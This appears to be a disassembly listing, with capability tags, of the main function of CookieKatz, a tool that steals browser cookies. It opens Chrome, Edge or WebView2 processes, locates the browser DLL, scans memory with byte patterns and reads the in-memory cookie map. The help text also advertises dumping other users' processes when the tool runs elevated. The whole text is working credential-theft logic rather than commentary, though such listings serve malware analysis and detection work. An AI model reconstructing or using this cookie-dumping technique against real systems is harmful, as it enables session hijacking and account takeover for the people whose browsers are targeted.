Function at 0x14000e650
Capabilities:
Enumerate process modules
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1400730c0]
xor rax, rsp
mov qword [rbp + 0x210], rax
movsxd rbx, ecx
mov rdi, rdx
lea rcx, str.____________________________________________________n
mov qword [rbp - 0x60], rdx
call fcn.14000e5a0
lea rcx, str._____________________________________________n
call fcn.14000e5a0
lea rcx, str.____________________________________________n
call fcn.14000e5a0
lea rcx, str._________________________________________n
call fcn.14000e5a0
lea rcx, str._______________________________________n
call fcn.14000e5a0
lea rcx, str.____________________________________n
call fcn.14000e5a0
lea rcx, str.By_Meckazin_____________________github.com___Meckazin__n
call fcn.14000e5a0
lea rcx, str.Kittens_love_cookies_too__n_n
call fcn.14000e5a0
xor r12d, r12d
xor esi, esi
xor r8d, r8d
mov dword [rbp - 0x64], esi
mov eax, 1
mov dword [rbp - 0x68], r8d
mov r15d, eax
mov r13, rbx
lea r14, [r12 - 1]
cmp rax, rbx
jae 0x14000e830
mov ebx, eax
nop dword [rax]
mov rcx, qword [rdi + r15*8]
lea rdx, str.pid:
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x14000e79d
mov rcx, qword [rdi + r15*8]
mov edx, 0x3a
call fcn.140016c7c
mov rbx, r14
lea rsi, [rax + 1]
nop dword [rax + rax]
cmp byte [rsi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14000e750
lea rcx, [rbx + 1]
call fcn.140015124
mov r8, rsi
lea rdx, [rbx + 1]
mov rcx, rax
mov rdi, rax
call fcn.140020658
lea r8, [rbp - 0x68]
mov rcx, rdi
lea rdx, [0x14006b83c]
call fcn.14000e5f0
test eax, eax
je 0x14000e94c
mov rdi, qword [rbp - 0x60]
mov ebx, 1
mov esi, dword [rbp - 0x64]
mov rcx, qword [rdi + r15*8]
lea rdx, str.edge
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.webview
test rax, rax
cmovne r12d, ebx
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.list
test rax, rax
mov eax, 2
cmovne r12d, eax
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov rcx, qword [rdi + r15*8]
lea rdx, str.help
test rax, rax
cmovne esi, ebx
mov dword [rbp - 0x64], esi
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e95d
mov rcx, qword [rdi + r15*8]
lea rdx, [0x14006b890]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x14000e95d
inc r15
cmp r15, r13
jb 0x14000e720
mov r8d, dword [rbp - 0x68]
xor esi, esi
lea r15, str.chrome.exe
mov qword [rbp - 0x60], rsi
lea rbx, str.msedge.exe
lea rdi, str.msedgewebview2.exe
test r8d, r8d
je 0x14000ea78
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000e938
lea r9, [rbp - 0x10]
mov qword [rbp - 0x60], rsi
lea r8, [rbp]
mov dword [rbp - 0x10], 0x104
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x14000e938
lea rcx, [rbp]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov rdx, r14
nop word [rax + rax]
movzx ecx, word [r8 + rdx*2 + 2]
cmp cx, word [r15 + rdx*2 + 2]
jne 0x14000e8d8
add rdx, 2
cmp rdx, 0xb
je 0x14000ea48
movzx eax, word [r8 + rdx*2]
cmp ax, word [r15 + rdx*2]
je 0x14000e8b0
mov rcx, r14
nop dword [rax + rax]
movzx eax, word [r8 + rcx*2 + 2]
cmp ax, word [rbx + rcx*2 + 2]
jne 0x14000e910
add rcx, 2
cmp rcx, 0xb
je 0x14000ea4d
movzx eax, word [r8 + rcx*2]
cmp ax, word [rbx + rcx*2]
je 0x14000e8e0
nop word [rax + rax]
movzx eax, word [r8 + r14*2 + 2]
cmp ax, word [rdi + r14*2 + 2]
jne 0x14000e938
add r14, 2
cmp r14, 0x13
je 0x14000ea55
movzx eax, word [r8 + r14*2]
cmp ax, word [rdi + r14*2]
je 0x14000e910
mov edx, dword [rbp - 0x68]
lea rcx, str.____Failed_to_get_process_handle_to_PID:__lu_n
call fcn.14000e5a0
jmp 0x14000ef5f
lea rcx, str.____Failed_to_parse_command_line_argument__pid_
call fcn.14000e5a0
jmp 0x14000ef5f
lea rcx, str.Help__n_n
call fcn.14000e5a0
lea rcx, str.Examples:_n
call fcn.14000e5a0
lea rcx, str..CookieKatz.exe_n
call fcn.14000e5a0
lea rcx, str.____By_default_targets_first_available_Chrome_process_n
call fcn.14000e5a0
lea rcx, str..CookieKatz.exe__edge_n
call fcn.14000e5a0
lea rcx, str.____Targets_first_available_Edge_process_n
call fcn.14000e5a0
lea rcx, str..CookieKatz.exe__pid:_pid__n
call fcn.14000e5a0
lea rcx, str.____Attempts_to_target_given_pid__expecting_it_to_be_Chrome_n
call fcn.14000e5a0
lea rcx, str..CookieKatz.exe__webview__pid:_pid__n
call fcn.14000e5a0
lea rcx, str.____Targets_the_given_msedgewebview2_process_n
call fcn.14000e5a0
lea rcx, str..CookieKatz.exe__list__webview_n
call fcn.14000e5a0
lea rcx, str.____Lists_available_webview_processes_n
call fcn.14000e5a0
lea rcx, [0x14006b688]
call fcn.14000e5a0
lea rcx, str.Flags:_n
call fcn.14000e5a0
lea rcx, str._____edge_______Target_current_user_Edge_process_n
call fcn.14000e5a0
lea rcx, str._____webview____Target_current_user_Msedgewebview2_process_n
call fcn.14000e5a0
lea rcx, str._____pid________Attempt_to_dump_given_pid__for_example__someone_elses_if_running_elevated_n
call fcn.14000e5a0
lea rcx, str._____list_______List_targettable_processes__use_with__edge_or__webview_to_target_other_browsers_n
call fcn.14000e5a0
lea rcx, str._____help_______This_what_you_just_did___h_works_as_well_n
call fcn.14000e5a0
xor eax, eax
jmp 0x14000ef64
xor r12d, r12d
jmp 0x14000ea5b
mov r12d, 1
jmp 0x14000ea5b
mov r12d, 2
mov rcx, rsi
call fcn.140013920
test eax, eax
je 0x14000ea78
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e5a0
jmp 0x14000ef56
mov byte [rsp + 0x30], 1
test r12d, r12d
je 0x14000ed0c
sub r12d, 1
je 0x14000ebd8
cmp r12d, 1
je 0x14000eaa7
lea rcx, str.____Invalid_target_browser__n
call fcn.14000e5a0
jmp 0x14000ef56
lea rcx, str.___Targeting_Msedgewebview2_n
call fcn.14000e5a0
mov ecx, 0x90
mov byte [rsp + 0x30], 0
lea r12, str.msedge.dll
call fcn.140015124
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xfbaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0x7aaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x148
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x4886c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890fb
jmp 0x14000ee36
lea rcx, str.___Targeting_Edge_n
call fcn.14000e5a0
mov ecx, 0x90
mov byte [rsp + 0x30], 0
mov rdi, rbx
lea r12, str.msedge.dll
call fcn.140015124
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x894838ec
mov dword [rax + 0x38], 0x58b48ce
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0x30798d48
mov dword [rax + 0x4c], 0x28498b48
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48aa
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x1aa
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0xaa86c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaae8
mov dword [rax + 0x8c], 0x834890aa
jmp 0x14000ee36
lea rcx, str.___Targeting_Chrome_n
call fcn.14000e5a0
mov ecx, 0x90
lea r12, str.chrome.dll
mov rdi, r15
call fcn.140015124
mov rbx, rax
mov dword [rax], 0x83485756
mov dword [rax + 4], 0xd78928ec
mov dword [rax + 8], 0xe8ce8948
mov dword [rax + 0xc], 0xffffaaaa
mov dword [rax + 0x10], 0x874ff85
mov dword [rax + 0x14], 0xe8f18948
mov dword [rax + 0x18], 0xaaaaaaaa
mov dword [rax + 0x1c], 0x48f08948
mov dword [rax + 0x20], 0x5f28c483
mov dword [rax + 0x24], 0xccccc35e
mov dword [rax + 0x28], 0xcccccccc
mov dword [rax + 0x2c], 0xcccccccc
mov dword [rax + 0x30], 0x83485756
mov dword [rax + 0x34], 0x8948aaec
mov dword [rax + 0x38], 0x58b48aa
mov dword [rax + 0x3c], 0xaaaaaaaa
mov dword [rax + 0x40], 0x48e03148
mov dword [rax + 0x44], 0x30244489
mov dword [rax + 0x48], 0xaa798d48
mov dword [rax + 0x4c], 0x28aaaaaa
mov dword [rax + 0x50], 0xaaaaaae8
mov dword [rax + 0x54], 0x468b48f8
mov dword [rax + 0x58], 0x4e8b4820
mov dword [rax + 0x5c], 0x968b4828
mov dword [rax + 0x60], 0x150
mov dword [rax + 0x64], 0x24448d4c
mov dword [rax + 0x68], 0x10894928
mov dword [rax + 0x6c], 0x5086c748
mov dword [rax + 0x70], 1
mov dword [rax + 0x74], 0x48000000
mov dword [rax + 0x78], 0x15fffa89
mov dword [rax + 0x7c], 0xaaaaaaaa
mov dword [rax + 0x80], 0x244c8b48
mov dword [rax + 0x84], 0xe1314830
mov dword [rax + 0x88], 0xaaaaaaaa
mov dword [rax + 0x8c], 0xaaaaaaaa
cmp dword [rbp - 0x64], 0
je 0x14000ee63
lea rcx, str.___Listing_targetable_processes_n
call fcn.14000e5a0
mov rcx, rdi
call fcn.140013660
lea rcx, str.___Done_n
call fcn.14000e5a0
xor eax, eax
jmp 0x14000ef64
cmp dword [rbp - 0x68], 0
jne 0x14000eeb4
lea r8, [rbp - 0x60]
mov rcx, rdi
lea rdx, [rbp - 0x68]
call fcn.140013380
test eax, eax
je 0x14000eea3
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x14000eea3
mov rcx, rsi
call fcn.140013920
test eax, eax
je 0x14000eeb4
lea rcx, str.____Target_process_is_32bit._Only_64bit_browsers_are_supported__n
call fcn.14000e5a0
jmp 0x14000ef56
lea rcx, str.____Failed_to_find_right_process_n
call fcn.14000e5a0
jmp 0x14000ef5f
mov ecx, 0x2000
call fcn.140025cf0
mov r15, rax
test rax, rax
je 0x14000ef3f
lea r9, [rbp - 0x64]
mov dword [rsp + 0x20], 3
mov r8d, 0x2000
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x14000ef3f
mov eax, dword [rbp - 0x64]
xor edi, edi
test rax, 0xfffffffffffffff8
jbe 0x14000ef3f
mov r14, r15
nop dword [rax + rax]
mov rdx, qword [r14]
lea r8, [rbp]
mov r9d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14000ef2a
mov rdx, r12
lea rcx, [rbp]
call fcn.140027590
test eax, eax
je 0x14000ef94
mov ecx, dword [rbp - 0x64]
inc edi
shr rcx, 3
add r14, 8
movsxd rax, edi
cmp rax, rcx
jb 0x14000ef00
mov rcx, r15
call fcn.140020228
mov rdx, r12
lea rcx, str.____Failed_to_find__ls_base_address__n
call fcn.14000e5a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140014ee0
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsxd rdx, edi
lea r8, [rsp + 0x38]
mov r9d, 0x18
mov rcx, rsi
mov rdx, qword [r15 + rdx*8]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rcx, r15
test eax, eax
je 0x14000ef42
mov r14, qword [rsp + 0x38]
mov edi, dword [rsp + 0x40]
call fcn.140020228
lea rax, [rbp - 0x60]
xor r12d, r12d
mov qword [rsp + 0x28], rax
mov r9, r14
mov r8d, 0x90
mov dword [rsp + 0x20], edi
mov rdx, rbx
mov qword [rbp - 0x60], r12
mov rcx, rsi
call fcn.140010a10
test eax, eax
jne 0x14000f001
lea rcx, str.____Failed_to_find_the_first_pattern__n
call fcn.14000e5a0
jmp 0x14000ef56
mov rax, qword [rbp - 0x60]
mov rcx, rdi
mov byte [rbp - 8], al
mov rbx, rdi
shr rax, 8
mov byte [rbp - 7], al
shr rax, 8
mov byte [rbp - 6], al
shr rax, 8
mov byte [rbp - 5], al
shr rax, 8
mov byte [rbp - 4], al
shr rax, 8
mov byte [rbp - 3], al
shr rax, 8
mov byte [rbp - 2], al
shr rax, 8
mov byte [rbp - 1], al
call fcn.140015124
mov rdi, rax
mov r9, rbx
lea rax, [rbp - 0x60]
mov r8, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x14000f079
cmp eax, 0x12b
jne 0x14000f243
mov r11, qword [rbp - 0x60]
lea rax, [rbp - 8]
add r11, 0xfffffffffffffff8
mov r10, rdi
sub r10, rax
mov r9, r12
nop
mov rax, r12
lea r8, [r9 + r10]
nop word [rax + rax]
lea rcx, [rbp - 8]
add rcx, rax
movzx edx, byte [rcx]
cmp dl, 0xaa
je 0x14000f0b9
cmp byte [r8 + rcx], dl
jne 0x14000f237
inc rax
cmp rax, 8
jb 0x14000f0a0
mov rcx, rdi
lea rbx, [r9 + r14]
call fcn.1400150f0
mov byte [rbp - 0x10], bl
mov ecx, 0x320
shr rbx, 8
mov byte [rbp - 0xf], bl
shr rbx, 8
mov byte [rbp - 0xe], bl
shr rbx, 8
mov byte [rbp - 0xd], bl
shr rbx, 8
mov byte [rbp - 0xc], bl
shr rbx, 8
mov byte [rbp - 0xb], bl
shr rbx, 8
mov byte [rbp - 0xa], bl
shr rbx, 8
mov byte [rbp - 9], bl
call fcn.140025cf0
mov r14, rax
mov rdi, r12
test rax, rax
je 0x14000f2e7
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r15, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
cmp r15, r13
jae 0x14000f2e7
mov rbx, qword [rbp - 0x10]
nop dword [rax]
mov r9d, 0x30
lea r8, [rsp + 0x38]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp rax, 0x30
jne 0x14000f1e1
cmp dword [rsp + 0x58], 0x1000
jne 0x14000f1d3
test byte [rsp + 0x5c], 0x44
je 0x14000f1d3
mov rcx, qword [rsp + 0x50]
call fcn.140015124
mov r9, qword [rsp + 0x50]
mov r12, rax
mov rdx, qword [rsp + 0x38]
lea rax, [rbp - 0x60]
mov r8, r12
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f1cb
mov rax, qword [rsp + 0x38]
mov rdx, r12
mov rcx, qword [rbp - 0x60]
sub rdx, rax
add rcx, 0xfffffffffffffff9
cmp qword [rdx + rax], rbx
jne 0x14000f1c2
mov qword [r14 + rdi*8], rax
inc rdi
inc rax
sub rcx, 1
jne 0x14000f1b5
mov rcx, r12
call fcn.1400150f0
add r15, qword [rsp + 0x50]
cmp r15, r13
jb 0x14000f140
test rdi, rdi
je 0x14000f2e7
movzx r15d, byte [rsp + 0x30]
xor r12d, r12d
mov ebx, r12d
nop word [rax + rax]
mov rdx, qword [r14 + rbx*8]
test rdx, rdx
je 0x14000f2c3
add rdx, 0x30
mov qword [rsp + 0x20], r12
mov r9d, 0x18
lea r8, [rsp + 0x38]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000f254
lea rcx, str.Failed_to_read_the_root_node_from_given_address_n
jmp 0x14000f2b2
inc r9
cmp r9, r11
jbe 0x14000f090
lea rcx, str.____Failed_to_find_the_second_pattern__n
call fcn.14000e5a0
jmp 0x14000ef56
mov rdx, qword [rsp + 0x48]
lea rcx, str.___Number_of_available_cookies:__zu_n
call fcn.14000e5a0
mov rdx, qword [rsp + 0x40]
test rdx, rdx
jne 0x14000f27d
lea rcx, str.___This_Cookie_map_was_empty_n
call fcn.14000e5a0
jmp 0x14000f2b7
mov r9d, 0x40
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000f2ab
movzx r8d, r15b
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.1400107d0
jmp 0x14000f2b7
lea rcx, str.Error_reading_first_node_n
call fcn.140002e50
inc rbx
cmp rbx, rdi
jb 0x14000f200
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.140020228
lea rcx, str.___Done_n
call fcn.14000e5a0
xor eax, eax
jmp 0x14000ef64
lea rcx, str.____Failed_to_find_the_third_pattern__n
call fcn.14000e5a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call fcn.140020228
jmp 0x14000ef5f